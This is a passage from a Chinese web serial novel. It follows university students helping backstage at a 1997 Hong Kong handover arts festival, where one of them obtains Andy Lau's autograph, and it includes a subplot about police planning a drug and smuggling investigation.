罗点点似乎没注意到。她继续说:“那你看什么时候方便?你跟他们说一声,定个时间。” “行。我来说。”马辉点点头,忽然想起什么,“对了——你身体……都好了吧?” “好了。”罗点点说,“本来就没什么大事。”看着他这副样子,罗点点忽然开口: “马辉。” “啊?” “你以前不这样。” 马辉愣了一下:“我以前……什么样?” “你不是圣斗士么。”罗点点站起来,拎起保温桶,塞进他手里: “你先把这个放好。吃饭的事儿你跟他们约——约好了告诉我。” 马辉抱着保温桶,小心翼翼的样子,看起来有些滑稽: “行。” “等等。”他从兜里掏出传呼机,低头按了几下,又抬起头,“你记一下我的传呼号。” 罗点点看着他。嘴角动了一下: “你的号码,是最后一个告诉我的吧?” 马辉一愣。连忙摆手—— “不是不是!你是第二个!” 罗点点抬了下眼:“第一个是谁?” “韩学涛。”马辉老老实实地说。 空气尴尬了一瞬。 ... 韩学涛接到马辉电话的时候,刚洗完衣服,正往晾衣绳上挂。 “涛子!周末!”马辉的声音从话筒里嘣出来,急吼吼的,“那个……你赶紧的,还有班长!” 韩学涛把手机夹在耳朵和肩膀之间,腾出手抖了抖湿衣服:“什么?” “周末!师范学院!”马辉说得语无伦次,“来螺塘也行,反正你过来吧,两个人啊!” “你能不能把话连起来说?” “我和点点!我们两个人!请你们两个人!四个人!周末!”马辉每个字都像从嘴里蹦出来的,恨不得一口气把所有信息塞进韩学涛脑子里。 韩学涛看了一眼手表:“马猴,你不会喝高了吧?上班时间,你们派出所还能喝酒?” “喝什么酒!我现在滴酒未沾!”马辉说,“哎呀反正你别管了,周末你就和班长一起过来吧。赶紧的,别拖了!” 韩学涛听得有些无语。请他吃饭还这么大谱,连时间都不问一句,生拉硬拽就要人过去。 “你先别定,我问问李曼。她最近搞港岛回归的文艺汇演,周末不见得有空。听说还要去京里参加演出。” “那你帮我好好说说!”马辉的语气软下来,带上一股恳求的劲儿,“涛子,就当我求你了——周末一定要来。哪怕白天没时间,晚上过来吃夜宵也行!” 挂了电话,韩学涛忍不住摇头失笑。马辉说他和罗点点一起请客,那肯定是两个人已经“勾搭”上了。看他这副急色的样子,简直没眼看。 他拿起电话拨了李曼寝室的号码,没人接。算了,周五下午计算机课再说吧。 与此同时,市局会议室,大门紧闭。 “604”专案组正在召开会议。付祥民主持,所有人的通讯设备全部上交。缉毒支队的何浩站起来做案情汇报,投影幕上打出一张关系图。 “美茵整形中心查封后,我们梳理了三条线。”何浩开门见山,“第一,涉案人员。法人代表董鹏飞已经跑了,出境记录显示走的是粤省口岸。几个高管也陆续失联。手术室的医生护士都控制住了,但他们是执行层,知道的不多。” 他翻了一页幻灯片。 “第二,货源和资金。医院账户每个月固定向粤省三个账户转账,这是毒品来源和资金流向的线索,但目前所有收款方都在境外。” 他又翻了一页。 “第三,前端人员。负责物色和诱骗女性的,不是医院的人,而是一个单独的团伙。吴翔——或者说卢亮,就是其中一个。这批人流动性极强,身份多变,但他们是目前最有可能抓到的活口,也是我们最关键的突破口。” 何浩把遥控器放下,转过身来看着付祥民和在座所有人,语气沉了下来:“总结一下——线索看起来很多,病历、资金、人员都有,但真正能够顺藤摸瓜往下走的,其实很少。关键人物要么跑了,要么在境外。手头这些医生护士只是执行层,知道的内情有限。患者那边,能取证的我们都在取,但她们本身也是受害者,想从她们身上往上追溯,难度很大。” 付祥民一直没说话,听完缓缓点了点头,示意何浩坐下。他站起来,双手撑在桌面上,身子微微前倾。 “这个案子已经上报到了公安部。部里很重视,领导亲自批的条子。”他的目光从每个人脸上缓缓扫过去,“接下来,何浩带队去粤省。那边已经有人在对接了,部里派了协调员,专门做两省之间的信息沟通。何浩,你到了以后先跟部里的同志碰头,把情况摸清楚。粤省那边的整形机构和我们的上线是同一条线——受害人在宁海做完一次手术,出了问题之后再去粤省‘修复’,这中间,毒品就完成了从流入到转移的全过程。” 他转向其他人:“经侦继续跟资金,各派出所继续排摸辖区内的小型美容机构,发现可疑情况第一时间上报,不得擅自行动。” “散会。” 人群陆续散去。付祥民回到自己的办公室,关上门,走到办公桌前坐下来,拿起桌上的电话机,拨了一个号码。 电话响了两声,那头接了。 “李书记,”付祥民的声音沉了下去,“有个重要情况,需要当面向您汇报。” 第155章 难说话的副部长 付祥民到了市委大院,上了楼,抬手敲门。 李际全的办公室里还有别人。 门开的一瞬,付祥民脚步微微一顿——沙发上坐着一个五十来岁的男人,翘着腿,手里夹着烟,脸上的表情说不清是冷淡还是慵懒,嘴角略微往下撇着,透出一股桀骜不驯的劲儿。 孙红革。常务副市长。 付祥民脸色有些不自然,但还是叫了一声:“孙市长。” 孙红革看了他一眼,没有起身,也没有应声,只是微微点了点头,算是打过招呼。 付祥民随即转向李际全:“李书记,要不我下次再来汇报?” 李际全还没来得及开口,孙红革弹了弹烟灰,慢悠悠地说:“付祥民,工作是工作,私人恩怨是私人恩怨。你当了这么多年警察,官也升了,眼看就要退休了——还分不清这个?” 李际全赶紧打圆场,站起来拉过一把椅子给付祥民:“论关系,大家都是师徒;论工作,现在我们是站在一条战壕里的。何必老揪着私人的那点事儿不放?”他又转向孙红革,“这次能把师傅请出来不容易,红革你也少说两句。” 孙红革没接话,从包里拿出一个本子,又拔开笔,往桌上一趴:“说吧,我来记录。” 付祥民看了他一眼,面色严肃地坐下来,说:“我今天汇报的内容——只听不记。” 孙红革手里的笔停顿了一下,抬起眼皮看了看付祥民,然后把本子一合,从兜里掏出烟,没让李际全,也没让付祥民,直接往桌上一拍—— “说吧。” 付祥民这才开口。 “604专案组,表面上是查毒品案,但更深层的目的,是打击走私。” 李际全的眉头微微一动。 “毒品案的爆发,给了我们一个很好的机会。”付祥民显然是斟酌了很久,“宁海的走私活动,有一个总源头。来胜平的远星集团,表面上是做进出口贸易,可实际上走的是什么货、有多少货、走哪条线——我不是没有线索。但这把火太大了,没有足够的理由,我不能点。随便动他,打草惊蛇不说,搞不好连我们自己都要被动。” 他顿了一下。 “现在毒品案出来了。美茵整形中心、隆胸手术、液态海洛因——这个案子够大,够重,够分量。成立专案组,没有人能说半个‘不’字。我的想法是,以查毒品案为掩护,摸走私案的底。两条线并行走,用一套人马,打两场硬仗。” 孙红革靠在沙发上,手里的烟缓缓烧着,烟灰垂了长长一截也没掉。他眯着眼看着付祥民,吐出一口烟,不紧不慢地说:“两个案子有什么交集?你硬往上靠,小心弄巧成拙。” 付祥民语气笃定:“毒和私,是同一条洗钱网络。” 他顿了顿,接着说:“我不相信巧合。这么大宗的毒品,这么大规模的走私,挤在一个城市里,就算马仔、物流这些环节能分开——它们的钱,也必然是走同一条路出去的。找到那条路,就找到了案子的根。” 李际全听完,眉头拧成了一个疙瘩:“师傅,你的意思是——来胜平还可能涉毒?” 付祥民摇了摇头:“他未必贩毒。但我有理由相信,贩毒分子在利用他的走私网络洗钱。来胜平干不干这种事,我不知道。但他的网被人用了,他不可能毫无察觉。就算他没有亲手沾毒,光是提供洗钱通道这一条,就已经够了。” 孙红革把烟头摁灭在烟灰缸里,发出一声细微的嗤响:“在走私的利润面前,贩毒算得了什么?一块不起眼的小市场,给来胜平提鞋都不配。” “来胜平确实是个人物。年轻的时候当过侦察兵,不是那种混混起家的。白手起家做到这个规模,如果不是走偏了路,说不定真能成一个优秀的企业家。”李际全接过话,语气里的感慨像是攒了很久。 孙红革嗤了一声:“有些人就只能捞偏门,命里注定的。正经做生意,说不定早就破产赔的裤子都没了。” 他站起身来,把烟盒揣进兜里:“行吧,这事就这么干。有什么需要我的,就跟我说。回头我去找王市长,看能不能把招商引资这块业务给要过来。” 李际全眉头一皱:“你这样去要,常委会上平静不了。郭书记那边估计会比较为难。” 孙红革不服不忿地说:“我管他的。把我调来宁海这个烂泥坑,不就是让我扑腾的么?我要是老老实实的,又会有人看不惯喽。” ... 韩学涛本来计划得好好的:周五下午的计算机课上,他就跟李曼说一声马辉和罗点点请客的事。可谁知道,星期五早上一起来,所有安排全被打乱了。 他刚洗漱回来,导员就推门进了寝室,站在门口拍了拍手:“今天下午全校的课都停了。” “啥?”于鑫从被窝里探出头。 “啥原因啊?”赵江也凑了过来。 “回头让你们寝室长告诉你们。”导员没细说,朝老谢招了招手,把人叫了出去。不到二十分钟,老谢推门回来,手里拿着一张纸。 “今天晚上大学生艺术节开幕,下午去市文化中心参加活动。”老谢扫了一圈,“咱们寝室去两个,谁有兴趣?” 于鑫第一个反应过来,叫着说:“你们谁也别跟涛哥抢啊,稍微有点眼力见的,都不用我明说了吧?” 老谢笑了笑:“行,学涛算一个。那谁再去一个?” 李靖举手:“我去吧。” 赵江犹豫了一下:“老谢,一个寝室只能去两个吗?我也有点想去看看。” 韩学涛摆摆手:“那赵江去吧,我就不去了。” 赵江连忙摆手:“别别别,你不去我也不敢去。” 寝室里谁都清楚韩学涛和展雪那层关系,这种场合,没人好意思占他的名额。 老谢笑着打圆场:“用不着抢。艺术节要搞一个礼拜,一直持续到下周末,大家轮着去就是了。” 韩学涛本来对这种活动无所谓,可转念一想:自己费了那么大劲,连一个法院庭长都干倒了才进的大学,总不能什么活动都躲着吧。 该体验的还是要体验。就好比排了一个通宵的队买到游乐场的门票,结果进去一个项目都不玩,那不是纯粹有病么。 那就去看看,也瞧瞧李曼和展雪她们排了那么久的节目,到底搞成什么样。至于马辉和罗点点那边请客的事,李曼肯定顾不上,干脆等艺术节结束了再说,反正也不差这一个礼拜。 上午的课一结束,韩学涛和李靖在食堂匆匆扒了几口饭,就往停车点赶。 停车点设在图书馆前面的空地上,那里已经黑压压聚满了人。各个系的都有,有人背着包,有人举着系旗,还有人扛着相机。六辆大巴一字排开停在路边,排气管冒着热气。 学生会的人胳膊上戴着红袖章,手里拿着花名册在车前跑来跑去,扯着嗓子喊:“文学系的上三号车!外语系的上四号!那边排队的注意了啊,别站错队了!没安排到的同学先在自己系的等候点等着,不要乱跑,马上就会通知!” 韩学涛和李靖找到地质系的等候点,旁边挨着采矿系和建工系,清一色的男生。上了车,每人发一件白色T恤,胸口印着“宁海市大学生艺术节”的字样,领口还带着一股油墨味。 李靖坐在靠窗的位置,从上车嘴就没停过,整个人兴奋得不行。他扒着韩学涛的胳膊说:“我就是想看看高洋跳舞。新生汇演的时候我还不认识她呢,她天天跟我吹,说她六岁就进了少年宫。我非得去看看她到底跳得怎么样。” “你去看她们排练不就得了?” “我去了啊,不让看!”李靖一脸委屈,“学生会管得太死了。文艺部那边还好说,毕竟展雪跟你……”他顿了一下,压低声音,“但是老谢他们生活部实在不好说话。” “老谢这么铁面无私?”韩学涛转过头。 “老谢铁面无私个屁,他是有空子就钻。”李靖撇撇嘴,“主要是他们生活部的副部长实在难说话。” 韩学涛摸了摸下巴。生活部副部长?那不就是在说李曼么。寝室里只有老谢、楚强和小白知道他和李曼的关系,老谢讲话有分寸,楚强和小白话也不多,所以李靖不知道,倒也正常。 他看了看李靖,这人脾气好,没什么坏心思。说起来,自己刚进校门碰到的第一个人就是他,只不过平时不怎么一起打游戏,交集不多,但韩学涛对他一直印象挺好的。 李靖把头探出车窗,左右看了看,一脸不满地缩回来:“怎么总把我们跟这些光棍系排在一起?采矿、建工、地质——就不能让我们跟经管系、外语系一起上车吗?” 韩学涛笑了笑,没说话。 “韩学涛!” 车下面有人喊。韩学涛探出头,看见李曼站在大巴下面,手里拎着一个袋子,穿着一件浅蓝色的衬衫,头发扎成高马尾,整个人干净利落。她仰着脸看他,眼睛亮亮的。 “我就知道你肯定会来!”李曼笑得挺开心,朝他招手,“下来下来,坐我们的车!演职人员的车在后面!” 韩学涛犹豫了一下:“不用了吧,这边又不只我一个人,我还跟室友一块儿呢。”他说着看了一眼旁边的李靖,觉得把李靖一个人丢下不太好。 李曼顺着他的目光看过去,落在那个小胖子身上,大大方方地一挥手:“就这一个室友是吧?一起来呗!” 看到李曼的那一刻,李靖整个人都愣住了——这不是老谢他们生活部的副部长吗?她认识韩学涛?而且,还这么随和、这么好说话? 第156章 女生大巴 韩学涛和李靖跟着李曼上了演职人员大巴。 车门一开,香水、洗发水、花露水混成一股热浪扑面而来。韩学涛扫了一眼,脚步顿住了——一车的女生,一个男生都没有。叽叽喳喳的,像一群麻雀。 李靖跟在后面,直接石化在了台阶上。 而且这不是普通女生。这是宁海大学的女生精华,全在这辆车上了。 韩学涛和李靖一上车,车厢忽然安静了一瞬。所有目光“唰”地集中过来——对李靖只是扫一眼,绝大多数全落在韩学涛身上。 “哇,上来一个帅哥耶。” “旁边那个小胖子是谁?随从吗?” 李靖顿时往韩学涛身后缩了缩:“涛哥……要不咱回去吧?” 韩学涛还没来得及说话,李曼已经从座位上的包里掏出两个工作牌,一人脖子上挂了一个。她拍了拍手,朝车里喊了一嗓子:“别看了别看了,自己人,过来帮忙的。” 展雪也在车上,抬头看见韩学涛,笑了一下,扬了扬手里的节目单:“你今天给我们做幕后。万一碰到什么问题,还能上台救个场。” 韩学涛赶紧摆手:“你可饶了我吧,今天打死我也不上去。” 孙婷婷倒是毫不客气,理所当然开始指挥:“先别坐了,下车搬东西。” 韩学涛心想早知道不过来了——本来就想好好看个节目,现在倒好,还得干活。李靖倒是一点不含糊,撸起袖子就往下冲:“我去我去!搬什么?” 六月的下午,太阳毒辣得很。 大巴车下面的行李舱门敞开着,一堆道具堆在路边。韩学涛和李靖一件一件往行李舱里塞,没一会儿汗就湿透了后背。 好不容易搬完,两人上了车。李曼从座位上拿了一瓶冰矿泉水递过来,盖子已经拧开,顺势把李靖挤到后面去了,自己在他旁边坐下来。 “不好意思,”她压低声音,“本来不是想拉你来干活的。” 韩学涛仰头灌了一大口:“那拉我来干嘛?” 李曼歪了歪头,带着一丝小兴奋:“后台有可能看到刘德华哟。” 韩学涛一怔:“刘德华也来了?” 李曼的表情里浮现出一点遗憾:“本来这次是要去央视和粤省巡演的,后来变成了主会场和分会场制度。可能是觉得不是放假时间,学生乱窜不太好?反正最后决定在宁海设分会场,央视那边会录播。港岛那边的明星会在内地演好几场,不一定全去主会场。” 韩学涛听着,心里暗暗盘算了一下——他觉得刘德华来宁海的可能性不大。来大陆参加活动,要么去央视,要么去离港岛近的粤省,跑来宁海算什么?不沾不靠的。 不过他也懒得说破。他对追星没什么兴趣,重生过来之后似乎跟华仔的歌有点缘分,但要说到多喜欢,也谈不上。以他的阅历,很难真去追哪个明星。当然,对华仔也没什么恶感就是了——只是没想到李曼这么上心。 “行吧。”他又喝了一口水,拧上瓶盖,“对了,跟你说个事儿。” “嗯?” “马辉打电话来了,说他和罗点点要请我们吃饭。咱俩一起。” 李曼愣了一下,随即笑起来,眼睛弯弯的:“他们俩?请我们俩?” “对。” “那挺好的呀。”李曼开心地说,“那晚上我给点点打个电话。艺术节结束之后,我们直接过去!” 车子驶入宁海文化中心,气氛明显不一样了。 正面的红色巨幅喷绘上写着“庆祝港岛回归祖国”,两旁立柱悬着“青春·回归·新时代”的条幅,风一吹猎猎作响。广场上空飘着彩色气球,下面缀着各高校的祝贺语。工作人员穿梭忙碌,有人在对讲机里喊话,远处一队穿白文化衫的志愿者正在列队听令。 停车场里大巴一辆挨一辆,贴着省内省外各所学校的编号和名字。学生们陆续下车,搬乐器的、清点人数的、举着小旗嘶哑喊话的带队老师,到处都是。 韩学涛扫了一圈,看见了央视转播车——卫星天线已经架起,几个人正蹲在车旁接线。旁边还有省市电视台和报社的车。 入口处,交警指挥车辆分流,警察核对证件,每个人神情都比平时更紧绷。 他们刚停好车,一名戴眼镜的志愿者便迎了上来:“请问是哪个学校?” “宁海大学。”李曼说。 “你们的场地在B区,后台在C区连接处,道具先送到C区统一登记。”男生说着,招呼身后的志愿者过来帮忙。 李曼打开行李箱,服装、道具、音响设备、乐器盒子塞得满满当当。 韩学涛正要上手,李曼拉了他一把:“哎,你先别搬那个。”她把一张打印好的表格塞到他面前,“你看,这是待会儿要进后台的设备清单,编号、数量和名称都在上面。我待会儿可能得先去报到,还要跟组委会对流程,不一定顾得上这边。你帮我盯着点,设备到了C区门口,你按这个单子清点一下,缺了少了及时说。” 韩学涛接过单子扫了一眼,上面密密麻麻列了三四十项,还用不同颜色标注——红色的是“贵重设备”,蓝色的是“易损件”,黑色的是“普通道具”。他叹了口气,“行吧,你去忙你的。” 李曼刚走,又听见有人叫他。 “韩学涛。”孙婷婷拖着一个大拉杆箱走过来,把拉杆往他手边一推,“这个箱子你拿着,谁也别给。里面是女生上台的衣服和化妆品,到后台直接交给我本人。其他人碰都不要碰!” 韩学涛提了提箱子:“怎么这么重?” “不重还要你帮忙?”孙婷婷瞥了他一眼,“又不是让你一直拎着,这里的男生也就你,能稍微让人放心点了。” 说完,转身就走了! 韩学涛一手拉箱子,一手攥清单,正盘算怎么协调,脖子上忽然被人搭了个东西。低头一看——一个黑色的包挂在胸口。 他扭头,展雪正站在他身后,两只手还搭在摄影包的背带上,帮他调整位置。 “这什么?” “摄像机。”展雪说,绕到他面前,又伸手按了按背带的位置,确认他戴着舒服,“所有的道具加在一起,也没这个值钱。” “什么都让我拿,你们也太信得过我了?” “进去以后交给我。”展雪笑了笑,转身走了。 韩学涛站在大巴车门旁边,像个被行李压住的搬运工。几个志愿者从旁边走过,看他一眼,谁都没敢搭话。 他深吸一口气,把道具单夹在拉杆箱的拉杆上,腾出右手,开始指挥。 “你们几个,把背景板搬下来,轻拿轻放,靠墙放。” “你,音响设备那个纸箱别压在最下面,搬出来单独放。那边那一箱——” 他环顾一圈,目光落在李靖身上。李靖正两手空空站在旁边,东张西望。 “李靖。” “干啥?” 韩学涛压低声音:“你拿着拍立得,跟着志愿者拍照。谁搬了什么东西,全拍下来。回头少了,好找人算账。” 李靖愣了愣:“这样……也行?” 第157章 般配一对 后台。 韩学涛攥着道具清单,看着眼前来来往往的人,感觉自己像站在一个被捅了的蚂蚁窝里——每个人都急吼吼地奔着某个方向去,可谁也到不了该到的地方。 “调光!调光!一号灯往左!” “话筒呢?二号话筒谁拿了?” “服装!我们这组还差两件!说好了送过来怎么还没到?” 几个志愿者抱着道具箱从他身边挤过去,衣角差点勾住他的箱子。 就在这片兵荒马乱里,李靖彻底放飞了。 自从韩学涛安排他去拿拍立得,他就没停过。先是跟着志愿者一通猛拍,后来就主动找活干:帮服装组递衣服,帮化妆组拿刷子,帮道具组搬箱子,帮演员组传话。哪儿有人喊,他就往哪儿跑,跑得满头大汗,干得不亦乐乎,谁叫都去。 高洋终于看不下去了。她换好服装,一把拽住他胳膊:“你歇会儿行不行?” 李靖气喘吁吁:“没事没事,我不累。” “你不累我看着都累。”高洋说,“谁一叫就跑,你比志愿者还忙。坐下,喝口水。”她把他按到一把折叠椅上,又从兜里摸出一包纸巾扔给他,“擦擦汗。” 李靖坐在椅子上,接过纸巾,嘴上说着“不用不用”,脸上的汗已经顺着下巴直往下滴。 韩学涛看李靖总算老实了,这才转过身,把目光落在405寝室的几个人身上。 高洋、周兰、徐爽都换好了服装——黑色长裙,白色袜子,活脱脱一群民国女学生。 而展雪最漂亮。 同样的衣服,穿在她身上,不知为什么就是不一样。韩学涛看了两眼,感觉她就是那种留洋归来、与封建家庭格格不入、毅然投身革命的叛逆女学生,浑身上下透着一股劲儿,好像下一秒就要掀了桌子冲出家门。 李靖坐在椅子上,眼睛都直了:“涛哥……这也太好看了吧。” 韩学涛懒得搭理他,目光转向别处。 就在这时,李曼从化妆间的方向走了过来。 韩学涛一愣,差点没敢认。她穿着一件英伦风格子西装,系着窄领带,裤线笔直,刚好盖住一半鞋面。马尾没了,只剩一层利落的短发,一顶报童帽斜扣在头顶——赫然是女扮男装! 她走到韩学涛面前站定,双手插在西裤口袋里,微微偏头看着他。脊背挺得笔直,眼神清亮,活像一个青年志士。 “你的头发呢?”韩学涛问。 “剪掉了呀。”李曼就站在那里,捏了捏领带结,又整了整袖口,大大方方地让他看个够。 然后她偏了一下头,笑着问:“好看吗?” “你们连个男生都不愿意找,还要你这个部长女扮男装亲自上台?”韩学涛说。 李曼叹了口气:“试着找过几个男生,跟展雪搭档感觉都不对。后来她提议让我女扮男装试试,结果——”她摊了摊手,“感觉非常好。” 她看着韩学涛,帽檐下的眼睛还盯着他:“你还没回答我呢。” “好看好看。”韩学涛连忙说,“你们这是要演什么节目?” 李曼嘴角弯了一下:“一会儿你就知道了。”她低头整了整袖口,声音忽然低了一点,“就是不知道待会儿台上行不行,有点小紧张。” “你们都练了这么久了,有什么不行的?”韩学涛说,“你应该一向对自己有信心的人。” “节目当然没问题。”李曼说,“我是担心服装。” “服装怎么了?” 李曼抬了抬脚,韩学涛低头看了一眼——黑色皮鞋,看不出什么特别。 “里面垫了增高。”李曼说,“我以前没穿过高跟鞋,怕待会儿台上崴脚。” 韩学涛说:“那你换个平跟好了。” 李曼叹了口气,把脚收回去:“不行啊。展雪个子比我高一点点,她来女扮男装,我来演女生,身高搭配是最好的。但是我又不会跳舞,所以只能我来女扮男装。我的脚又比较小,找不到合适的男鞋,费了好大的劲才弄到这么一双。” 韩学涛看着她,爱莫能助:“你们也是考虑得太细了。观众有几个能看得清你们脚上穿什么鞋的?” 李曼没接话,低头又整了整领带,把那点紧张压了下去。 从中午忙到晚上,匆匆扒了几口盒饭。七点半,艺术节正式开始。 韩学涛和李靖一人坐一个木箱子,在后台侧幕条旁边看。主持人是央视来的王雪纯,说话温温柔柔的,旁边站着一个宁海台的男主持人,声音和形象都不错。 开场五个节目,三个是专业表演,其中一个让韩学涛多看了两眼——陆毅带着《天下第一情》的演员上台了。今年这部电视剧正热播,走到哪儿都有人在讨论“逃婚”“摆地摊”那些情节,报纸上说是“九七青年宣言书”。 台上的陆毅才二十一岁,穿着白衬衫,笑起来干干净净的,底下掌声雷动,尖叫声此起彼伏。 李靖算是开了眼了:“陆毅诶!” 韩学涛没接话。他在等宁海大学的节目。 等了两个节目,报幕声响起——“下一首《教我如何不想她》,表演单位,宁海大学。” 侧幕条这边顿时忙了起来。灯光暗下去的间隙里,舞台上的布景已经换好了——一架旧式的木桌椅,一盏煤油灯,背景是一幅手绘的老式校园,灰蓝色的调子,暮色沉沉的样子。 音乐响起,几个钢琴音慢慢地落下来,简单干净。 合唱先起,女声,几个声部叠在一起。舞台上的灯光渐次亮起,照在那张木桌上。展雪坐在桌前,手里握着一支笔,低头在写信。 她抬起头的时候,灯光刚好落在她脸上,表情带着一丝倔强,眼睛里像有很远很远的地方。然后她站起来,走到窗前——那扇窗是画上去的,但她的背影让人真觉得窗外有风。 钢琴声还在走,合唱继续。李曼从另一侧上了台,手里拿着一个旧式的相机。她站在舞台的另一端,隔着整个舞台看着展雪,腰杆挺直,目光坚定,浑身上下透着一股爱国记者的正气凛然。 韩学涛明白了。一封信,一个记者,一个战乱年代的故事。一个要挣脱一切远走他乡,一个扛着使命义无反顾。 他坐在木箱上,看着台上那两个人在短短五分钟里演完了一段从相识到分离的故事——国难时期,内地高校南迁香港,有人走,有人留,一封信,一句“教我如何不想她”,就是全部。展雪的叛逆和李曼的正气,在台上撞出了火花。 说实在的,看着展雪和李曼在台上演情侣,韩学涛心里有一种说不上来的感觉——挺有意思的。 灯光重新亮起来的时候,展雪和李曼手拉着手,并排站在台上向观众鞠躬。台下掌声一片,两个人站在一起,看起来竟然挺般配。 第158章 天王签名 表演结束,几个人从台上下来。 李曼一落地就低头看自己的脚,长长地舒了口气:“没崴没崴——”抬起头时,脸上的笑怎么也压不住。整台节目的效果比她预想的还要好,灯光、音乐、走位,全都卡在了点儿上。 “感觉怎么样?”她问韩学涛。 韩学涛直接竖了个大拇指。 展雪还有舞蹈节目,匆匆说了句“我先去换装”,就跑没了影。李靖则第一时间冲到高洋面前,递水、递衣服、嘘寒问暖,殷勤得像个贴身跟班。 后面的节目一个接一个——专业的、学生的、合唱的、舞蹈的。舞台上的灯光变了又变,台下的掌声一阵接一阵。 韩学涛坐在木箱上看着,心想唱了这么多首歌,怎么还没听到《东方之珠》? 就在这时,警校的学生上了台。 清一色的警察制服,前面几个女警模样的女生站在话筒前,准备配乐诗朗诵。音乐响起的刹那,韩学涛的身体微微一僵。 是《东方之珠》。 旋律从音箱里流淌出来,漫过整个会场。 台上的朗诵词他一个字都没听进去,脑子里翻涌而出的是另一个画面——监狱,厕所,昏暗的灯光,拳头砸在肉体上的闷响。一个长期欺负他的牢霸被他死死按在地上,他一拳接一拳地砸,砸到血糊了满手。旋律隔着铁门传进来,混着警报声和他自己粗重的喘息。 那场打架,让他被关了很长时间禁闭,还加了半年刑期。但从此以后,再也没有人敢欺负他。 那时候他在厕所里打人,外面响着的,就是这首《东方之珠》。现在回想起来,简直像隔世。 李曼坐在他旁边,察觉到他的情绪不对,偏过头看了他一眼:“怎么了?” 韩学涛把目光拉回来,表情已经恢复如常:“没事,回味你们那个节目呢。表演得真不错。” 李曼的眼睛亮了一下:“真心的?” “真心的。” 她笑了,把目光转回舞台上。 就在这时,后台传来一阵骚动。 不是普通的忙乱,而是一种说不清道不明的兴奋——有人在跑,有人在喊,有人在拍手。韩学涛还没反应过来,台上报幕的声音已经响了起来:“下面让我们有请,天王刘德华带来的歌曲,你们的掌声在哪里?” 李曼“腾”地站了起来,兴奋地看着台上:“真的来了?” 韩学涛也愣了一下,没想到还真被李曼说中了。 台下已经炸了锅。尖叫声、掌声响成一片。华仔一身白色西装,从舞台侧面走上来,只笑了一下,台下就又炸了一轮。 他唱了三首歌——《今天》《谢谢你的爱》,最后是《中国人》。到了最后一首,全场跟着一起唱,几千个人的声音汇成一股洪流。这是今晚的高潮,也是晚会的结尾。 灯光暗下来,刘德华在热烈的欢呼声中退场。 李曼忽然转身,手忙脚乱地从包里翻出一件蓝色T恤,冲韩学涛丢了一句:“你等我!”人就窜了出去。 韩学涛张了张嘴,话都没来得及说,她的背影已经消失在侧幕条后面了。 他等了很久。 台上的灯全灭了。观众开始往外走。 李靖回来了。高洋、周兰、徐爽她们也换好衣服出来了。孙婷婷卸了妆,走过来问李曼呢。韩学涛说:“找刘德华去了。”孙婷婷一愣,脸一下就拉下来了:“有没搞错?展雪演完就急匆匆回家了,李曼又跑去追星,这儿的活全让我一个人干?” 韩学涛把拉杆箱往她手里一推:“正好你自己拎着,我也累了。” 又等了很久。 韩学涛走到侧幕条后面去找李曼。他穿过道具堆,绕过电缆卷,从一个正在拆台的工作人员身边挤过去。走廊尽头,工作人员在拆隔离带,一个保洁大妈正低着头扫地上的彩带。 他不知道李曼跑哪儿去了。刘德华的休息室肯定不跟他们这些大学生在一块儿,而且人这么多,那边估计也有安保和助理拦着——想挤过去,怕是不容易。 他正想找个人问问,一抬头,就看见了李曼。 她从走廊那头走来,光着一只脚,白袜子踩在地上,手里举着那件T恤,满脸是汗,妆也花了一半。 走到韩学涛面前,她把T恤往他怀里一塞,笑容灿烂:“我帮你要到签名了。” 韩学涛展开一看——白T恤上,一个龙飞凤舞的签名,墨迹还没干透。他一时语塞。 随即,他看向她的脚:“你的鞋呢?” 李曼语气里带着得意:“翻栏杆的时候挤掉的。那边拦了一道铁马,我趁他们不注意翻过去——翻到一半鞋就掉了,没顾上捡。” 她说得轻松,像在讲一件了不起的事。 “你可真行。等着。”韩学涛转身回去,翻出一双跳舞用的软底鞋扔给她,“先穿上。” 李曼弯腰套上。 韩学涛说:“掉就掉了吧,反正也不是你的鞋,演完就扔,挺好。” 听到这话,李曼忽然一愣,傻了眼:“可是还没演完呢。后天一场,周末一场,一共要演三场。”她抬头看着韩学涛,“这可怎么办?” “那就再买一双?” “很难买的。”李曼说,“这双鞋我们找了好久,最后在一个童装店买的断码。不行,我得把那只找回来。” 韩学涛看了看四周,摇了摇头:“这么大的地方,上哪儿找去?保洁阿姨打扫卫生,说不定已经扔垃圾堆了。” 李曼的脸彻底垮了:“那怎么办?我要是演女生还好说,大不了穿高跟鞋。男款!又要增高又要合脚——都怪我妈,为什么不再把我生高两厘米?” 韩学涛低头看了看手里那件签了名的T恤,犹豫了两秒,笑了一下:“我来想办法。” “你有什么办法?” “找货当然找源头了。”韩学涛把T恤叠好,放入袋子,夹在胳膊底下。 鞋厂他熟得很。现在住的房子就是鞋厂分的,老妈的培训班租的也是鞋厂的厂房,培训班生意好了,还给鞋厂拉了不少海外订单。从厂长到车间主任,见了他家人都客客气气的。去找他们给李曼弄一双合脚的鞋,不是什么难事。实在不行,找做鞋的老师傅比着她的脚做一双出来。 他刚才犹豫,是怕碰见父母。带个女孩专门去做鞋,被爸妈看见了,问东问西的,李曼也尴尬。 但李曼是为了给他要签名才把鞋挤丢的,他不能不管。 “走吧,”他说,“我认识一个鞋厂,带你过去。” 李曼很信任他,听到这话立刻弯腰把另一只皮鞋也脱了,换上软底鞋,拎着那只孤零零的皮鞋站起来。 “那这只也不用留了。”她把鞋扔进了旁边的垃圾桶。 第159章 做鞋 第二天一早,韩学涛就守在校门口等李曼。 前一晚,他早已把路线在心里捋了一遍——先到鞋厂,直接去厂办找厂长。厂长在,就当面说;不在,就去家里找。有合适的库存最好,没有就请厂长介绍一位老师傅,量脚现做一双。无论如何,直奔主题,速战速决,尽量别碰上父母。 李曼从宿舍楼那边走过来,穿白色短袖,深色长裤,脚下还是昨天那双跳舞的软底鞋。头发剪短之后,早上也不用怎么打理,随手拨两下就好。 “走吧。”韩学涛说。 两人上了公交车,一路晃晃悠悠往鞋厂方向去。下了车,韩学涛没走正门,领着李曼拐进一条小巷子。巷子越走越窄,也越走越吵,迎面扑来一股混杂着鱼腥、卤味和青菜泥土气的气息——原来是个农贸菜市场。 “从这边穿过去近一些。”韩学涛说。 李曼跟在后面,眼睛四处乱转。她很少来这种地方,看什么都觉得新鲜:卖菜的老太太把一把把小油菜码得整整齐齐,水灵灵的;卖鱼的蹲在塑料盆旁,手伸进水里一捞,一条草鱼甩着尾巴蹦出来;再往前走,一个摊贩正在杀鸡,动作利落得吓人——拔毛、开膛、掏内脏,一气呵成,旁边的铁桶里还咕嘟咕嘟烧着热水。 李曼看得脚步慢下来,眼睛也瞪大了。 